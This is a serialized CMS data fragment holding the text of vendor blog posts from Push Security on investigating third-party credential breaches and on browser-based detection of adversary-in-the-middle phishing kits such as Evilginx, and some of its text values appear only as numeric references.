",{"data":191830,"content":191831,"nodeType":1616},{},[191832,191847,191862,191877],{"data":191833,"content":191834,"nodeType":1570},{},[191835],{"data":191836,"content":191837,"nodeType":866},{},[191838,191843],{"data":191839,"marks":191840,"value":191842,"nodeType":865},{},[191841],{"type":926},"Network or SWG",{"data":191844,"marks":191845,"value":191846,"nodeType":865},{},[]," can show you whose endpoints accessed an app website, but not if they've ever logged into the app.",{"data":191848,"content":191849,"nodeType":1570},{},[191850],{"data":191851,"content":191852,"nodeType":866},{},[191853,191858],{"data":191854,"marks":191855,"value":191857,"nodeType":865},{},[191856],{"type":926},"IdP",{"data":191859,"marks":191860,"value":191861,"nodeType":865},{},[]," can show you that you're using an app if it’s accessed using SSO, but if that’s the case then you already know about it. It won’t show you non-SSO apps, tenants, or accounts that are more likely to be compromised using stolen credentials.",{"data":191863,"content":191864,"nodeType":1570},{},[191865],{"data":191866,"content":191867,"nodeType":866},{},[191868,191873],{"data":191869,"marks":191870,"value":191872,"nodeType":865},{},[191871],{"type":926},"Email",{"data":191874,"marks":191875,"value":191876,"nodeType":865},{},[]," can be used to quickly tell you if employees have received email from an app – indicating an account might exist – but won’t tell you if they signed up using personal email, when they last logged in or if they are using the same password for everything.",{"data":191878,"content":191879,"nodeType":1570},{},[191880],{"data":191881,"content":191882,"nodeType":866},{},[191883,191888],{"data":191884,"marks":191885,"value":191887,"nodeType":865},{},[191886],{"type":926},"Finance / contract records",{"data":191889,"marks":191890,"value":191891,"nodeType":865},{},[]," take time to search through and will only cover the services you pay for (many SaaS products offer a free tier). Obviously these records won’t tell you anything about vulnerable accounts.  \n",{"data":191893,"content":191897,"nodeType":912},{"target":191894},{"sys":191895},{"id":191896,"type":909,"linkType":910},"3pLEarsM0oltdxGlkHATbB",[],{"data":191899,"content":191900,"nodeType":981},{},[191901],{"data":191902,"marks":191903,"value":191904,"nodeType":865},{},[],"Step 2: Are any of our accounts currently vulnerable to account takeover through stolen creds?",{"data":191906,"content":191907,"nodeType":866},{},[191908],{"data":191909,"marks":191910,"value":191911,"nodeType":865},{},[],"If credentials are being sold on the dark web for a service your employees use, then you need to quickly determine whether any workforce accounts can be accessed using just the stolen credentials. In other words, are any of these accounts using a leaked password and/or missing MFA?",{"data":191913,"content":191914,"nodeType":866},{},[191915,191919,191923],{"data":191916,"marks":191917,"value":191918,"nodeType":865},{},[],"At this point, you might reach for your IdP and make sure that MFA is enforced for all logins to the affected app. But that’s only going to cover apps and tenants already using SSO. To make things more complicated, most apps still allow username and password logins in addition to SSO logins. You need to see accounts with SSO logins ",{"data":191920,"marks":191921,"value":43281,"nodeType":865},{},[191922],{"type":898},{"data":191924,"marks":191925,"value":191926,"nodeType":865},{},[]," local logins. ",{"data":191928,"content":191929,"nodeType":866},{},[191930],{"data":191931,"marks":191932,"value":191933,"nodeType":865},{},[],"The data that Push collects in the browser provides rich web app context. That means Push shows you how your employees are authenticating on every app, whether it’s password, OIDC, or SAML. ",{"data":191935,"content":191936,"nodeType":866},{},[191937],{"data":191938,"marks":191939,"value":191940,"nodeType":865},{},[],"When you search for a breached third-party service in Push, you’ll see which employees are using usernames and passwords but missing MFA on their accounts. You can then prioritize these accounts for password resets and enabling MFA to stop any stolen credentials from being used to access those accounts. ",{"data":191942,"content":191943,"nodeType":866},{},[191944],{"data":191945,"marks":191946,"value":191947,"nodeType":865},{},[],"As well as highlighting accounts missing MFA, Push fingerprints every password using a shortened salted hash and checks in the browser whether it has been leaked and/or is easily guessable. Armed with this information, you can quickly get these vulnerabilities fixed to reduce the likelihood of an account takeover.",{"data":191949,"content":191950,"nodeType":981},{},[191951],{"data":191952,"marks":191953,"value":191954,"nodeType":865},{},[],"Step 3: Are the stolen credentials being used anywhere else? ",{"data":191956,"content":191957,"nodeType":866},{},[191958],{"data":191959,"marks":191960,"value":191961,"nodeType":865},{},[],"The next consideration is whether the stolen credentials can be used by an attacker in a credential-stuffing attack to compromise accounts on other applications. ",{"data":191963,"content":191964,"nodeType":866},{},[191965],{"data":191966,"marks":191967,"value":191968,"nodeType":865},{},[],"This is an important, and often overlooked, ring of the third-party data breach blast radius. ",{"data":191970,"content":191971,"nodeType":7584},{},[191972],{"data":191973,"content":191974,"nodeType":866},{},[191975],{"data":191976,"marks":191977,"value":191978,"nodeType":865},{},[],"Here at Push, we see that on average 1 in 3 users in every business reuse passwords across multiple accounts.",{"data":191980,"content":191981,"nodeType":866},{},[191982],{"data":191983,"marks":191984,"value":191985,"nodeType":865},{},[],"The password checks performed by Push also identify password reuse between applications. So if there’s a chance that a password has been stolen as part of the third-party data breach, you can make sure it’s changed across all applications. ",{"data":191987,"content":191991,"nodeType":912},{"target":191988},{"sys":191989},{"id":191990,"type":909,"linkType":910},"X9axqTO6dWEe1Jy49hAyG",[],{"data":191993,"content":191994,"nodeType":981},{},[191995],{"data":191996,"marks":191997,"value":191998,"nodeType":865},{},[],"Take action before breaches hit the headlines",{"data":192000,"content":192001,"nodeType":866},{},[192002],{"data":192003,"marks":192004,"value":192005,"nodeType":865},{},[],"The workflow described above takes seconds to perform in Push. It enables you to quickly investigate a third-party data breach to determine if you could have been impacted, and if so, to take targeted action to mitigate the risks. ",{"data":192007,"content":192008,"nodeType":866},{},[192009],{"data":192010,"marks":192011,"value":192012,"nodeType":865},{},[],"That said, no one enjoys scrambling to respond to these kinds of incidents. If you use Push, you can actually get out ahead of these issues so you’re not stuck having to react.",{"data":192014,"content":192015,"nodeType":866},{},[192016],{"data":192017,"marks":192018,"value":192019,"nodeType":865},{},[],"Push integrates stolen account threat intelligence and alerts you when employees are currently using the same password that’s being sold on the dark web. This allows you to take action at the earliest possible opportunity and harden vulnerable accounts before any data breach is reported in the media. ",{"data":192021,"content":192022,"nodeType":866},{},[192023],{"data":192024,"marks":192025,"value":192026,"nodeType":865},{},[],"What this means for you is that next time you’re asked, “Does this affect us?” you can say you dealt with any issues way before it landed in the headlines. ",{"data":192028,"content":192032,"nodeType":912},{"target":192029},{"sys":192030},{"id":192031,"type":909,"linkType":910},"2vFMyWtMlxzTqqtvCPmlGW",[],{"data":192034,"content":192035,"nodeType":1317},{},[192036],{"data":192037,"marks":192038,"value":192039,"nodeType":865},{},[],"Do we need to log in to another security tool to do this?",{"data":192041,"content":192042,"nodeType":866},{},[192043,192047,192055],{"data":192044,"marks":192045,"value":192046,"nodeType":865},{},[],"No. Using the ",{"data":192048,"content":192049,"nodeType":889},{"uri":136416},[192050],{"data":192051,"marks":192052,"value":192054,"nodeType":865},{},[192053],{"type":943},"Push API",{"data":192056,"marks":192057,"value":192058,"nodeType":865},{},[],", you can quickly gather relevant data to support the response to a third-party data breach in your SIEM or XDR solution.",{"data":192060,"content":192061,"nodeType":1317},{},[192062],{"data":192063,"marks":192064,"value":192065,"nodeType":865},{},[],"Why not eliminate the risk of password-based attacks altogether? ",{"data":192067,"content":192068,"nodeType":866},{},[192069],{"data":192070,"marks":192071,"value":192072,"nodeType":865},{},[],"Push gives you the ability to react quickly and decisively to a third-party data breach. But it also enables you to take proactive steps to eliminate the risk of password-based attacks altogether so stolen credentials from third-party data breaches no longer pose a threat to your business. ",{"data":192074,"content":192075,"nodeType":866},{},[192076],{"data":192077,"marks":192078,"value":192079,"nodeType":865},{},[],"Push does this by:",{"data":192081,"content":192082,"nodeType":1616},{},[192083,192093,192103,192113],{"data":192084,"content":192085,"nodeType":1570},{},[192086],{"data":192087,"content":192088,"nodeType":866},{},[192089],{"data":192090,"marks":192091,"value":192092,"nodeType":865},{},[],"Stopping your employees from creating accounts with leaked, weak and reused passwords.",{"data":192094,"content":192095,"nodeType":1570},{},[192096],{"data":192097,"content":192098,"nodeType":866},{},[192099],{"data":192100,"marks":192101,"value":192102,"nodeType":865},{},[],"Pinning passwords to individual apps. ",{"data":192104,"content":192105,"nodeType":1570},{},[192106],{"data":192107,"content":192108,"nodeType":866},{},[192109],{"data":192110,"marks":192111,"value":192112,"nodeType":865},{},[],"Helping you to get all apps and accounts behind SSO.",{"data":192114,"content":192115,"nodeType":1570},{},[192116],{"data":192117,"content":192118,"nodeType":866},{},[192119],{"data":192120,"marks":192121,"value":192122,"nodeType":865},{},[],"Blocking phishing attacks against your employees so their credentials aren’t stolen.",{"data":192124,"content":192125,"nodeType":866},{},[192126,192130,192137],{"data":192127,"marks":192128,"value":192129,"nodeType":865},{},[],"If you want to find out more about how Push can help you mitigate the risks of employee credentials being stolen in the third-party data breach, then ",{"data":192131,"content":192132,"nodeType":889},{"uri":16069},[192133],{"data":192134,"marks":192135,"value":14066,"nodeType":865},{},[192136],{"type":943},{"data":192138,"marks":192139,"value":192140,"nodeType":865},{},[]," and we’ll be happy to show you. ","Investigating and responding to a third-party data breach using Push","How to use Push to investigate and respond to a third-party data breach, which results in credentials being stolen and sold on criminal marketplaces.  ","2024-06-13T00:00:00.000Z","investigating-and-responding-to-a-third-party-data-breach-using-push",{"items":192146},[192147,192149],{"sys":192148,"name":342},{"id":4642},{"sys":192150,"name":297},{"id":2310},{"items":192152},[192153],{"fullName":4614,"firstName":4615,"jobTitle":4616,"profilePicture":192154},{"url":4618},{"__typename":1429,"sys":192156,"content":192157,"title":189955,"synopsis":189956,"hashTags":59,"publishedDate":189957,"slug":189958,"tagsCollection":192567,"authorsCollection":192573},{"id":189482},{"json":192158},{"data":192159,"content":192160,"nodeType":1382},{},[192161,192167,192173,192179,192185,192191,192197,192203,192209,192215,192231,192247,192253,192259,192275,192281,192291,192328,192334,192350,192357,192363,192369,192375,192381,192387,192445,192451,192456,192462,192468,192474,192480,192496,192502,192508,192514,192520,192526,192532,192538,192544,192550,192555,192561],{"data":192162,"content":192163,"nodeType":866},{},[192164],{"data":192165,"marks":192166,"value":189493,"nodeType":865},{},[],{"data":192168,"content":192169,"nodeType":866},{},[192170],{"data":192171,"marks":192172,"value":189500,"nodeType":865},{},[],{"data":192174,"content":192175,"nodeType":866},{},[192176],{"data":192177,"marks":192178,"value":189507,"nodeType":865},{},[],{"data":192180,"content":192181,"nodeType":866},{},[192182],{"data":192183,"marks":192184,"value":189514,"nodeType":865},{},[],{"data":192186,"content":192187,"nodeType":866},{},[192188],{"data":192189,"marks":192190,"value":189521,"nodeType":865},{},[],{"data":192192,"content":192193,"nodeType":981},{},[192194],{"data":192195,"marks":192196,"value":189528,"nodeType":865},{},[],{"data":192198,"content":192199,"nodeType":866},{},[192200],{"data":192201,"marks":192202,"value":189535,"nodeType":865},{},[],{"data":192204,"content":192205,"nodeType":866},{},[192206],{"data":192207,"marks":192208,"value":189542,"nodeType":865},{},[],{"data":192210,"content":192211,"nodeType":866},{},[192212],{"data":192213,"marks":192214,"value":189549,"nodeType":865},{},[],{"data":192216,"content":192217,"nodeType":1616},{},[192218],{"data":192219,"content":192220,"nodeType":1570},{},[192221],{"data":192222,"content":192223,"nodeType":866},{},[192224,192228],{"data":192225,"marks":192226,"value":189563,"nodeType":865},{},[192227],{"type":926},{"data":192229,"marks":192230,"value":189567,"nodeType":865},{},[],{"data":192232,"content":192233,"nodeType":1616},{},[192234],{"data":192235,"content":192236,"nodeType":1570},{},[192237],{"data":192238,"content":192239,"nodeType":866},{},[192240,192244],{"data":192241,"marks":192242,"value":189581,"nodeType":865},{},[192243],{"type":926},{"data":192245,"marks":192246,"value":189585,"nodeType":865},{},[],{"data":192248,"content":192249,"nodeType":1317},{},[192250],{"data":192251,"marks":192252,"value":189592,"nodeType":865},{},[],{"data":192254,"content":192255,"nodeType":866},{},[192256],{"data":192257,"marks":192258,"value":189599,"nodeType":865},{},[],{"data":192260,"content":192261,"nodeType":866},{},[192262,192265,192272],{"data":192263,"marks":192264,"value":189606,"nodeType":865},{},[],{"data":192266,"content":192267,"nodeType":889},{"uri":182628},[192268],{"data":192269,"marks":192270,"value":189614,"nodeType":865},{},[192271],{"type":943},{"data":192273,"marks":192274,"value":189618,"nodeType":865},{},[],{"data":192276,"content":192277,"nodeType":866},{},[192278],{"data":192279,"marks":192280,"value":189625,"nodeType":865},{},[],{"data":192282,"content":192283,"nodeType":866},{},[192284,192287],{"data":192285,"marks":192286,"value":189632,"nodeType":865},{},[],{"data":192288,"marks":192289,"value":189637,"nodeType":865},{},[192290],{"type":926},{"data":192292,"content":192293,"nodeType":1616},{},[192294,192311],{"data":192295,"content":192296,"nodeType":1570},{},[192297],{"data":192298,"content":192299,"nodeType":866},{},[192300,192304,192307],{"data":192301,"marks":192302,"value":189651,"nodeType":865},{},[192303],{"type":926},{"data":192305,"marks":192306,"value":189655,"nodeType":865},{},[],{"data":192308,"marks":192309,"value":189660,"nodeType":865},{},[192310],{"type":898},{"data":192312,"content":192313,"nodeType":1570},{},[192314],{"data":192315,"content":192316,"nodeType":866},{},[192317,192321,192324],{"data":192318,"marks":192319,"value":189671,"nodeType":865},{},[192320],{"type":926},{"data":192322,"marks":192323,"value":189675,"nodeType":865},{},[],{"data":192325,"marks":192326,"value":189680,"nodeType":865},{},[192327],{"type":926},{"data":192329,"content":192330,"nodeType":866},{},[192331],{"data":192332,"marks":192333,"value":189687,"nodeType":865},{},[],{"data":192335,"content":192336,"nodeType":866},{},[192337,192341,192346],{"data":192338,"marks":192339,"value":189695,"nodeType":865},{},[192340],{"type":926},{"data":192342,"marks":192343,"value":189701,"nodeType":865},{},[192344,192345],{"type":898},{"type":926},{"data":192347,"marks":192348,"value":189706,"nodeType":865},{},[192349],{"type":926},{"data":192351,"content":192352,"nodeType":981},{},[192353],{"data":192354,"marks":192355,"value":189714,"nodeType":865},{},[192356],{"type":926},{"data":192358,"content":192359,"nodeType":866},{},[192360],{"data":192361,"marks":192362,"value":189721,"nodeType":865},{},[],{"data":192364,"content":192365,"nodeType":866},{},[192366],{"data":192367,"marks":192368,"value":189728,"nodeType":865},{},[],{"data":192370,"content":192371,"nodeType":866},{},[192372],{"data":192373,"marks":192374,"value":189735,"nodeType":865},{},[],{"data":192376,"content":192377,"nodeType":866},{},[192378],{"data":192379,"marks":192380,"value":189742,"nodeType":865},{},[],{"data":192382,"content":192383,"nodeType":866},{},[192384],{"data":192385,"marks":192386,"value":189749,"nodeType":865},{},[],{"data":192388,"content":192389,"nodeType":1616},{},[192390,192409,192427],{"data":192391,"content":192392,"nodeType":1570},{},[192393],{"data":192394,"content":192395,"nodeType":866},{},[192396,192399,192406],{"data":192397,"marks":192398,"value":21,"nodeType":865},{},[],{"data":192400,"content":192401,"nodeType":889},{"uri":67859},[192402],{"data":192403,"marks":192404,"value":189769,"nodeType":865},{},[192405],{"type":943},{"data":192407,"marks":192408,"value":189773,"nodeType":865},{},[],{"data":192410,"content":192411,"nodeType":1570},{},[192412],{"data":192413,"content":192414,"nodeType":866},{},[192415,192418,192424],{"data":192416,"marks":192417,"value":21,"nodeType":865},{},[],{"data":192419,"content":192420,"nodeType":889},{"uri":131844},[192421],{"data":192422,"marks":192423,"value":189789,"nodeType":865},{},[],{"data":192425,"marks":192426,"value":189793,"nodeType":865},{},[],{"data":192428,"content":192429,"nodeType":1570},{},[192430],{"data":192431,"content":192432,"nodeType":866},{},[192433,192436,192442],{"data":192434,"marks":192435,"value":21,"nodeType":865},{},[],{"data":192437,"content":192438,"nodeType":889},{"uri":189805},[192439],{"data":192440,"marks":192441,"value":189810,"nodeType":865},{},[],{"data":192443,"marks":192444,"value":189814,"nodeType":865},{},[],{"data":192446,"content":192447,"nodeType":866},{},[192448],{"data":192449,"marks":192450,"value":189821,"nodeType":865},{},[],{"data":192452,"content":192455,"nodeType":912},{"target":192453},{"sys":192454},{"id":167791,"type":909,"linkType":910},[],{"data":192457,"content":192458,"nodeType":866},{},[192459],{"data":192460,"marks":192461,"value":189833,"nodeType":865},{},[],{"data":192463,"content":192464,"nodeType":981},{},[192465],{"data":192466,"marks":192467,"value":189840,"nodeType":865},{},[],{"data":192469,"content":192470,"nodeType":866},{},[192471],{"data":192472,"marks":192473,"value":189847,"nodeType":865},{},[],{"data":192475,"content":192476,"nodeType":1317},{},[192477],{"data":192478,"marks":192479,"value":189854,"nodeType":865},{},[],{"data":192481,"content":192482,"nodeType":866},{},[192483,192486,192493],{"data":192484,"marks":192485,"value":189861,"nodeType":865},{},[],{"data":192487,"content":192488,"nodeType":889},{"uri":147665},[192489],{"data":192490,"marks":192491,"value":189869,"nodeType":865},{},[192492],{"type":943},{"data":192494,"marks":192495,"value":189873,"nodeType":865},{},[],{"data":192497,"content":192498,"nodeType":866},{},[192499],{"data":192500,"marks":192501,"value":189880,"nodeType":865},{},[],{"data":192503,"content":192504,"nodeType":866},{},[192505],{"data":192506,"marks":192507,"value":189887,"nodeType":865},{},[],{"data":192509,"content":192510,"nodeType":866},{},[192511],{"data":192512,"marks":192513,"value":189894,"nodeType":865},{},[],{"data":192515,"content":192516,"nodeType":1317},{},[192517],{"data":192518,"marks":192519,"value":189901,"nodeType":865},{},[],{"data":192521,"content":192522,"nodeType":866},{},[192523],{"data":192524,"marks":192525,"value":189908,"nodeType":865},{},[],{"data":192527,"content":192528,"nodeType":866},{},[192529],{"data":192530,"marks":192531,"value":189915,"nodeType":865},{},[],{"data":192533,"content":192534,"nodeType":1317},{},[192535],{"data":192536,"marks":192537,"value":189922,"nodeType":865},{},[],{"data":192539,"content":192540,"nodeType":866},{},[192541],{"data":192542,"marks":192543,"value":189929,"nodeType":865},{},[],{"data":192545,"content":192546,"nodeType":866},{},[192547],{"data":192548,"marks":192549,"value":189936,"nodeType":865},{},[],{"data":192551,"content":192554,"nodeType":912},{"target":192552},{"sys":192553},{"id":182822,"type":909,"linkType":910},[],{"data":192556,"content":192557,"nodeType":981},{},[192558],{"data":192559,"marks":192560,"value":57175,"nodeType":865},{},[],{"data":192562,"content":192563,"nodeType":866},{},[192564],{"data":192565,"marks":192566,"value":189954,"nodeType":865},{},[],{"items":192568},[192569,192571],{"sys":192570,"name":342},{"id":4642},{"sys":192572,"name":7796},{"id":7795},{"items":192574},[192575],{"fullName":7800,"firstName":7801,"jobTitle":7802,"profilePicture":192576},{"url":7804},{"__typename":1429,"sys":192578,"content":192579,"title":190366,"synopsis":192982,"hashTags":59,"publishedDate":192983,"slug":190367,"tagsCollection":192984,"authorsCollection":192990},{"id":126877},{"json":192580},{"data":192581,"content":192582,"nodeType":1382},{},[192583,192589,192609,192629,192647,192667,192690,192697,192717,192738,192745,192751,192758,192765,192772,192779,192786,192793,192800,192807,192814,192833,192840,192846,192869,192876,192891,192897,192916,192923,192930,192936,192943,192961,192967],{"data":192584,"content":192588,"nodeType":912},{"target":192585},{"sys":192586},{"id":192587,"type":909,"linkType":910},"B8i0EK90Dn7FLrJXR4ANh",[],{"data":192590,"content":192591,"nodeType":866},{},[192592,192596,192605],{"data":192593,"marks":192594,"value":192595,"nodeType":865},{},[],"Is the golden era of MFA protection over? Watch a demo of an ",{"data":192597,"content":192600,"nodeType":33606},{"target":192598},{"sys":192599},{"id":188650,"type":909,"linkType":910},[192601],{"data":192602,"marks":192603,"value":192604,"nodeType":865},{},[],"EvilNoVNC phishing attack",{"data":192606,"marks":192607,"value":192608,"nodeType":865},{},[]," and you may be left sweating a little and whispering “FIDO2” like a protection spell.",{"data":192610,"content":192611,"nodeType":866},{},[192612,192616,192625],{"data":192613,"marks":192614,"value":192615,"nodeType":865},{},[],"With the widespread adoption of MFA, attackers are ",{"data":192617,"content":192620,"nodeType":33606},{"target":192618},{"sys":192619},{"id":182999,"type":909,"linkType":910},[192621],{"data":192622,"marks":192623,"value":192624,"nodeType":865},{},[],"increasingly turning",{"data":192626,"marks":192627,"value":192628,"nodeType":865},{},[]," to more sophisticated methods of credential theft as their initial point of entry. ",{"data":192630,"content":192631,"nodeType":866},{},[192632,192636,192643],{"data":192633,"marks":192634,"value":192635,"nodeType":865},{},[],"Newer phishing approaches include reverse proxies as well as tools that mimic legitimate login pages by rendering the webpages and then displaying those renders to the unsuspecting end-user. While these tools are not always common knowledge among blue teams, their use is ",{"data":192637,"content":192638,"nodeType":889},{"uri":171106},[192639],{"data":192640,"marks":192641,"value":192642,"nodeType":865},{},[],"on the rise",{"data":192644,"marks":192645,"value":192646,"nodeType":865},{},[],", an unsurprising response to the broad use of multi-factor authentication in many organizations.",{"data":192648,"content":192649,"nodeType":866},{},[192650,192654,192663],{"data":192651,"marks":192652,"value":192653,"nodeType":865},{},[],"What sets this generation of ",{"data":192655,"content":192658,"nodeType":33606},{"target":192656},{"sys":192657},{"id":188650,"type":909,"linkType":910},[192659],{"data":192660,"marks":192661,"value":192662,"nodeType":865},{},[],"Adversary-in-the-Middle (AitM) phishing tools",{"data":192664,"marks":192665,"value":192666,"nodeType":865},{},[]," apart? ",{"data":192668,"content":192669,"nodeType":1616},{},[192670,192680],{"data":192671,"content":192672,"nodeType":1570},{},[192673],{"data":192674,"content":192675,"nodeType":866},{},[192676],{"data":192677,"marks":192678,"value":192679,"nodeType":865},{},[],"They act as a proxy between the user and a legitimate web login page, allowing the attacker to bypass MFA and harvest credentials and session tokens.",{"data":192681,"content":192682,"nodeType":1570},{},[192683],{"data":192684,"content":192685,"nodeType":866},{},[192686],{"data":192687,"marks":192688,"value":192689,"nodeType":865},{},[],"They give off little scent to end-users, because the end-user is logging into the legitimate site, just by taking a detour via the attacker’s device.",{"data":192691,"content":192692,"nodeType":866},{},[192693],{"data":192694,"marks":192695,"value":192696,"nodeType":865},{},[],"These AitM tools are also difficult to detect — unless you have eyes in the browser.",{"data":192698,"content":192699,"nodeType":866},{},[192700,192704,192713],{"data":192701,"marks":192702,"value":192703,"nodeType":865},{},[],"Powered by the Push browser agent, Push now offers a ",{"data":192705,"content":192708,"nodeType":33606},{"target":192706},{"sys":192707},{"id":57941,"type":909,"linkType":910},[192709],{"data":192710,"marks":192711,"value":192712,"nodeType":865},{},[],"preconfigured set of detections",{"data":192714,"marks":192715,"value":192716,"nodeType":865},{},[]," for phishing tools like Evilginx and others, informed by our threat detection team’s research into their behavior. This phishing tool detection feature will automatically prevent users from accessing a site that’s running one of these malicious tools, and display a custom warning message to your end-users.",{"data":192718,"content":192719,"nodeType":866},{},[192720,192724,192734],{"data":192721,"marks":192722,"value":192723,"nodeType":865},{},[],"While Push already provides strong phishing protection by ",{"data":192725,"content":192729,"nodeType":33606},{"target":192726},{"sys":192727},{"id":192728,"type":909,"linkType":910},"4UtRVoFElDduWJBx9Sa4Cw",[192730],{"data":192731,"marks":192732,"value":192733,"nodeType":865},{},[],"preventing SSO password use",{"data":192735,"marks":192736,"value":192737,"nodeType":865},{},[]," on non-IdP webpages (in other words, it stops you from using your Okta password on any page that isn’t an Okta login page), this new feature allows us to sharpen our anti-phishing capabilities by detecting malware on a site before a user even interacts with the page. ",{"data":192739,"content":192740,"nodeType":866},{},[192741],{"data":192742,"marks":192743,"value":192744,"nodeType":865},{},[],"In this article, we’ll describe our approach to detecting these newer phishing tools, including how we’re borrowing techniques from the world of EDR, and how you can combine phishing tool detection with other Push controls for a defense-in-depth strategy that covers both the user and the application sides of the equation.",{"data":192746,"content":192750,"nodeType":912},{"target":192747},{"sys":192748},{"id":192749,"type":909,"linkType":910},"59q6klX2j7ClgUvmix93sG",[],{"data":192752,"content":192753,"nodeType":981},{},[192754],{"data":192755,"marks":192756,"value":192757,"nodeType":865},{},[],"Taking a page from EDR",{"data":192759,"content":192760,"nodeType":866},{},[192761],{"data":192762,"marks":192763,"value":192764,"nodeType":865},{},[],"Most phishing prevention solutions rely on lists of known-bad sites as the source of intelligence. These are always going to be a step behind reality because they rely on ever-shifting secondary attributes such as domain names (though we won’t be disabling Chrome Safe Browsing anytime soon, and we’re not trying to replace it).",{"data":192766,"content":192767,"nodeType":866},{},[192768],{"data":192769,"marks":192770,"value":192771,"nodeType":865},{},[],"As veterans of the EDR world, we’re drawn to think in analogous terms. With detecting AitM phishing tools, that means expanding on the concept of dynamic analysis on the endpoint. EDR allows you to dynamically analyze the behavior of malware live and at scale, rather than focusing on easy-to-change indicators like file hashes or domain names.",{"data":192773,"content":192774,"nodeType":866},{},[192775],{"data":192776,"marks":192777,"value":192778,"nodeType":865},{},[],"Applying this idea to malware that runs in the browser requires a solution that is in the browser, like the Push browser agent.",{"data":192780,"content":192781,"nodeType":866},{},[192782],{"data":192783,"marks":192784,"value":192785,"nodeType":865},{},[],"So we’re expanding the attributes that are traditionally analyzed to spot indicators of compromise (IoCs) beyond domains, file names, file hashes, IP addresses, etc., to also include behavioral attributes of malware that are much harder to change, such as Javascript calls being made or data structures saved to local storage.",{"data":192787,"content":192788,"nodeType":866},{},[192789],{"data":192790,"marks":192791,"value":192792,"nodeType":865},{},[],"By performing behavioral analysis on AitM automated proxy tools, we can directly analyze the application for a precise and immediate identification. ",{"data":192794,"content":192795,"nodeType":866},{},[192796],{"data":192797,"marks":192798,"value":192799,"nodeType":865},{},[],"Push researchers are regularly identifying and adding detections for new toolkits — think of this like Push’s database of threat research in action.",{"data":192801,"content":192802,"nodeType":981},{},[192803],{"data":192804,"marks":192805,"value":192806,"nodeType":865},{},[],"How it works",{"data":192808,"content":192809,"nodeType":866},{},[192810],{"data":192811,"marks":192812,"value":192813,"nodeType":865},{},[],"If you’re new to Push, a bit of context may be useful. Push uses a browser agent deployed to employee browsers (we support all major browsers) to prevent, detect, and block identity attacks. ",{"data":192815,"content":192816,"nodeType":866},{},[192817,192821,192829],{"data":192818,"marks":192819,"value":192820,"nodeType":865},{},[],"By directly observing user behavior at the login event, Push provides broad and actionable context across all the apps your employees are using, how they are accessing them, their MFA methods, and where they’re using insecure and reused passwords. With this context as the foundation, Push enforces your desired ",{"data":192822,"content":192825,"nodeType":33606},{"target":192823},{"sys":192824},{"id":171181,"type":909,"linkType":910},[192826],{"data":192827,"marks":192828,"value":158231,"nodeType":865},{},[],{"data":192830,"marks":192831,"value":192832,"nodeType":865},{},[],", including preventing SSO password reuse, blocking malicious websites, or steering employees to approved apps only.",{"data":192834,"content":192835,"nodeType":866},{},[192836],{"data":192837,"marks":192838,"value":192839,"nodeType":865},{},[],"Once configured by an administrator, phishing tool detection will immediately check for the fingerprints of these toolkits as end-users visit websites and then display your custom warn or block message. ",{"data":192841,"content":192845,"nodeType":912},{"target":192842},{"sys":192843},{"id":192844,"type":909,"linkType":910},"1LdHJjTDlOiie5mctbAVvZ",[],{"data":192847,"content":192848,"nodeType":866},{},[192849,192853,192857,192861,192865],{"data":192850,"marks":192851,"value":192852,"nodeType":865},{},[],"In ",{"data":192854,"marks":192855,"value":58541,"nodeType":865},{},[192856],{"type":926},{"data":192858,"marks":192859,"value":192860,"nodeType":865},{},[]," mode, users cannot proceed to the site where malicious software has been detected. In ",{"data":192862,"marks":192863,"value":58533,"nodeType":865},{},[192864],{"type":926},{"data":192866,"marks":192867,"value":192868,"nodeType":865},{},[]," mode, users can choose to proceed if they are sure it’s not a phishing site.",{"data":192870,"content":192871,"nodeType":866},{},[192872],{"data":192873,"marks":192874,"value":192875,"nodeType":865},{},[],"In both cases, users do not need to interact with a page (by typing, clicking, etc.) for Push to trigger the custom message. ",{"data":192877,"content":192878,"nodeType":866},{},[192879,192882,192888],{"data":192880,"marks":192881,"value":168360,"nodeType":865},{},[],{"data":192883,"content":192884,"nodeType":889},{"uri":168173},[192885],{"data":192886,"marks":192887,"value":157843,"nodeType":865},{},[],{"data":192889,"marks":192890,"value":168370,"nodeType":865},{},[],{"data":192892,"content":192896,"nodeType":912},{"target":192893},{"sys":192894},{"id":192895,"type":909,"linkType":910},"6oAhxLBPVxN3Rcw2kFeVtG",[],{"data":192898,"content":192899,"nodeType":866},{},[192900,192904,192912],{"data":192901,"marks":192902,"value":192903,"nodeType":865},{},[],"Pairing this phishing detection capability with Push’s ",{"data":192905,"content":192908,"nodeType":33606},{"target":192906},{"sys":192907},{"id":58195,"type":909,"linkType":910},[192909],{"data":192910,"marks":192911,"value":131656,"nodeType":865},{},[],{"data":192913,"marks":192914,"value":192915,"nodeType":865},{},[]," feature provides a strong defense-in-depth strategy for stopping credential theft.",{"data":192917,"content":192918,"nodeType":866},{},[192919],{"data":192920,"marks":192921,"value":192922,"nodeType":865},{},[],"SSO password protection works by analyzing user behavior — namely, is a user entering their SSO password onto a page that does not belong to the legitimate identity provider.",{"data":192924,"content":192925,"nodeType":866},{},[192926],{"data":192927,"marks":192928,"value":192929,"nodeType":865},{},[],"Phishing tool detection adds in the application-level behavioral analysis. In addition, when Push identifies a new, previously unknown phishing tool in the wild via blocked SSO credential theft, we add its fingerprints to the browser agent’s detective capabilities.  ",{"data":192931,"content":192932,"nodeType":981},{},[192933],{"data":192934,"marks":192935,"value":13221,"nodeType":865},{},[],{"data":192937,"content":192938,"nodeType":866},{},[192939],{"data":192940,"marks":192941,"value":192942,"nodeType":865},{},[],"We’re just scratching the surface on this approach and are exploring how Push can identify and block other web-delivered malware and Javascript-based attack types beyond AitM tools. Think HTML smuggling, tabnabbing, and the like.",{"data":192944,"content":192945,"nodeType":866},{},[192946,192950,192958],{"data":192947,"marks":192948,"value":192949,"nodeType":865},{},[],"Got feedback? We’d ",{"data":192951,"content":192953,"nodeType":889},{"uri":192952},"/contact/",[192954],{"data":192955,"marks":192956,"value":192957,"nodeType":865},{},[],"love to talk",{"data":192959,"marks":192960,"value":1615,"nodeType":865},{},[],{"data":192962,"content":192963,"nodeType":981},{},[192964],{"data":192965,"marks":192966,"value":113824,"nodeType":865},{},[],{"data":192968,"content":192969,"nodeType":866},{},[192970,192973,192979],{"data":192971,"marks":192972,"value":126944,"nodeType":865},{},[],{"data":192974,"content":192975,"nodeType":889},{"uri":16069},[192976],{"data":192977,"marks":192978,"value":14066,"nodeType":865},{},[],{"data":192980,"marks":192981,"value":180692,"nodeType":865},{},[],"Push analyzes behavioral attributes of malware to identify phishing tools like Evilginx and NakedPages and immediately block end-users from visiting 